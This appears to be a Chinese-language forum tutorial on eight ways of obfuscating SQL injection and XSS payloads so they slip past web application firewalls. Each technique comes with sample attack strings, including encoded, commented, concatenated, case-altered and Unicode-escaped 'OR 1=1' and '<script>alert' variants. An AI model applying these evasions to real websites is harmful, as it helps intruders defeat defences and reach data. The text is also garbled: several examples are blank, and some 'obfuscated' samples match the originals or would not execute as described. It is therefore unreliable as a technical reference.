八種繞過WAF防火墻的Payload混淆技術
當前位置:點晴教程→點晴OA辦公管理信息系統
→『 經驗分享&問題答疑 』
摘要 Payload混淆技術是一種用來繞過Web應用防火墻(WAF)檢測的方法。WAF的主要功能是通過分析HTTP請求和響應中的內容來檢測和阻止惡意流量,比如SQL注入、跨站腳本(XSS)攻擊等。Payload混淆技術的原理是通過修改攻擊載荷(payload)的外觀,使其難以被WAF正確識別,但在目標應用處理時依然能夠被正常執行。 HTML編碼混淆技術 HTML編碼是一種將特殊字符轉換為其HTML實體表示的方法。HTML實體是一種以字符名稱或字符代碼表示的字符,使得這些字符可以安全地嵌入HTML文檔中,而不會被解析為HTML標簽或其他HTML特殊字符。 常見的HTML編碼如下:
使用HTML編碼進行Payload混淆的主要原理是,通過將攻擊載荷中的特殊字符轉換為其HTML實體形式,使得WAF難以準確解析和檢測到這些字符。盡管這些編碼形式在瀏覽器解析時會恢復為原始字符,但在經過WAF時,由于編碼后的形式與實際字符不同,WAF可能無法正確識別和阻止這些載荷。 示例1:XSS攻擊 例如: <script>alert(1)</script> 此編碼將特殊字符替換為HTML 實體等效項,從而使安全過濾器更難識別其特征。 示例2:SQL注入 一個SQL注入攻擊載荷是: `SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27'` 這種情況下,雖然數據庫在接收到查詢時會將其解析為原始SQL語句,但WAF可能會因為編碼形式不同而無法正確識別和阻止。 URL編碼混淆技術
URL編碼(也稱為百分號編碼)是一種將數據轉換為可以在URL中安全傳輸的格式的方法。由于URL只能包含某些字符,因此URL編碼用于將不安全的字符轉換為允許的ASCII字符。
常見的URL編碼示例:
黑客通常使用 URL 編碼和十六進制編碼等方法對其有效payload進行編碼。一旦有效載荷到達目標,就會對其進行解碼以執行攻擊。例如, %27%3B%20%44%52%4F%50%20%54%41%42%4C%45%20%75%73%65%72%73%3B%20%2D%2D 雙重URL編碼混淆技術 雙重URL編碼(Double URL Encoding)是一種更復雜的編碼技術,其中對字符進行了兩次URL編碼。這種技術常用于繞過某些Web應用防火墻(WAF)或其他安全機制,因為兩次編碼后的字符串更難以被識別和解析。 首先,回顧一下單次URL編碼。URL編碼是將特殊字符轉換為其ASCII值的十六進制表示,并在前面加上百分號 (
雙重URL編碼則是對已經進行了一次URL編碼的字符串,再進行一次URL編碼。具體步驟如下: 1、第一次URL編碼: 2、第二次URL編碼: 最終,字符 雙重URL編碼可以用來繞過一些WAF,因為雙重編碼后的payload更難被識別為攻擊。以下是一些示例: 示例1:XSS攻擊 一個簡單的XSS攻擊payload是 1、第一次URL編碼: 2、第二次URL編碼: 最終的payload內容為: 示例2:SQL注入 一個SQL注入攻擊payload是: 1、第一次URL編碼: 2、第二次URL編碼:
最終的Payload為: 字符替換或添加注釋混淆技術
在使用字符替換或添加注釋進行Payload混淆時,攻擊者通過在原始攻擊載荷中插入無害字符或注釋符號來擾亂WAF的解析規則,從而繞過防護。 一、字符替換 字符替換技術通過用等價字符或字符串來替換原始載荷中的某些部分,使得WAF難以匹配到已知的攻擊模式。 示例1:SQL注入 原始SQL注入Payload如下: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用字符替換技術,可以將關鍵字替換為等價表達方式: SELECT * FROM users WHERE username='admin' OR '1'='1' --' 進一步替換為: SELEC/**/T * FR/**/OM users WHERE user/**/name='admin' OR '1'='1' --' 在這個示例中, 示例2:XSS攻擊 原始XSS攻擊Payload如下: <script>alert('XSS')</script> 使用字符替換技術,可以將標簽和函數拆分: <scri"+"pt>alert('XSS')</scr"+"ipt> 或: <scri<!--comment-->pt>alert('XSS')</scri<!--comment-->pt> 二、添加注釋 通過在載荷中插入注釋符號,進一步擾亂WAF的解析規則。注釋符號可以用來分隔關鍵字,使WAF無法正確識別。 示例1:SQL注入 原始SQl注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用添加注釋技術,可以在關鍵字之間添加SQL注釋: SELECT/*comment*/ * FROM/*comment*/ users WHERE/*comment*/ username='admin'/*comment*/ OR 1=1 --' 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用添加注釋技術,可以在標簽和內容之間添加HTML注釋: <script><!--comment-->alert('XSS')<!--comment--></script> 字符串連接混淆技術 字符串連接是一種常見的Payload混淆技術,通過將惡意字符串分割成多個部分,并使用不同的方式重新組合在一起,使得WAF難以檢測到完整的攻擊Payload。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用字符串連接技術,可以將這個載荷分割并重新組合: SELEC' + 'T * FR' + 'OM users WHERE user' + 'name='admin' OR 1=1 --' 或者使用SQL拼接函數(不同數據庫有不同的字符串拼接方式): SELECT * FROM users WHERE username='ad'||'min' OR 1=1 --'SELECT * FROM users WHERE username=CONCAT('ad','min') OR 1=1 --' 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用字符串連接技術,可以將這段載荷分割并重新組合: <scr'+'ipt>alert('XSS')</scr'+'ipt> 或者使用JavaScript的字符串拼接: <scri' + 'pt>alert("XSS")</scri' + 'pt> 大小寫轉換混淆技術 該技術是一種通過改變關鍵字或標識符的大小寫來混淆Payload的技術。許多編程語言和數據庫查詢語言(如SQL)對關鍵字大小寫不敏感(即大小寫不敏感),因此攻擊者可以利用這種特性改變載荷中的大小寫,從而繞過Web應用防火墻(WAF)的檢測。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用大小寫轉換技術, 可以將關鍵字大小寫變換: SeLeCt * FrOm users WhErE username='admin' Or 1=1 --' 進一步變換: sEleCt * frOM users wHErE username='admin' OR 1=1 --' 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 經過大小寫轉換,可以將標簽和函數名大小寫變換: <script>alert('XSS')</script> 進一步變換: <script>aLeRt('XSS')</script> 轉義字符混淆技術
使用轉義字符(Escape Characters)是一種常見的Payload混淆技術,通過在特殊字符前添加轉義符號,使得這些字符在解析時具有不同的含義,從而繞過Web應用防火墻(WAF)或其他安全機制的檢測。 轉義字符是用來表示某些特殊字符或控制字符的序列。通常,一個轉義字符由一個反斜杠 ( 轉義字符的常見應用:
通過在攻擊Payload中插入轉義字符,可以改變Payload的外觀,使得WAF難以匹配已知的攻擊模式。在解析和執行時,轉義字符會恢復為原始字符,從而使得攻擊Payload能夠正常工作。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用轉義字符,可以在單引號前插入反斜杠: SELECT * FROM users WHERE username=\'admin\' OR 1=1 --\' 或者使用雙引號和反斜杠: SELECT * FROM users WHERE username="admin\" OR \"1\"=\"1\" --" 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用轉義字符,可以在雙引號和單引號前插入反斜杠: <script>alert(\'XSS\')</script> 或者在HTML實體編碼中使用反斜杠: <script>alert('XSS')</script> Unicode混淆技術
使用Unicode作為Payload混淆技術是一種通過將常見字符轉換為其Unicode編碼形式,使得WAF難以檢測到惡意Payload的方法。Unicode編碼可以用來表示幾乎所有的字符,因此它在混淆攻擊Payload時非常有效。 什么是Unicode? Unicode是一種字符編碼標準,它為所有的字符提供唯一的編號,可以表示世界上幾乎所有的文字系統中的字符。常見的Unicode表示形式有:
通過將攻擊載荷中的字符轉換為Unicode編碼形式,可以繞過WAF的檢測。例如,常見的SQL關鍵字和HTML標簽在轉換為Unicode后,可能無法被簡單的字符串匹配規則識別。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用Unicode編碼進行混淆,可以將關鍵字和符號轉換為Unicode形式: \u0053\u0045\u004C\u0045\u0043\u0054 * \u0046\u0052\u004F\u004D users \u0057\u0048\u0045\u0052\u0045 username=\u0027admin\u0027 \u004F\u0052 1=1 --\u0027 或者使用十六進制表示形式: \x53\x45\x4C\x45\x43\x54 * \x46\x52\x4F\x4D users \x57\x48\x45\x52\x45 username=\x27admin\x27 \x4F\x52 1=1 --\x27 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用Unicode編碼進行混淆,可以將標簽和內容轉換為Unicode形式: \u003Cscript\u003Ealert(\u0027XSS\u0027)\u003C/script\u003E 或者使用十六進制表示形式: \x3Cscript\x3Ealert(\x27XSS\x27)\x3C/script\x3E
該文章在 2024/6/15 18:47:34 編輯過 |
關鍵字查詢
相關文章
正在查詢... |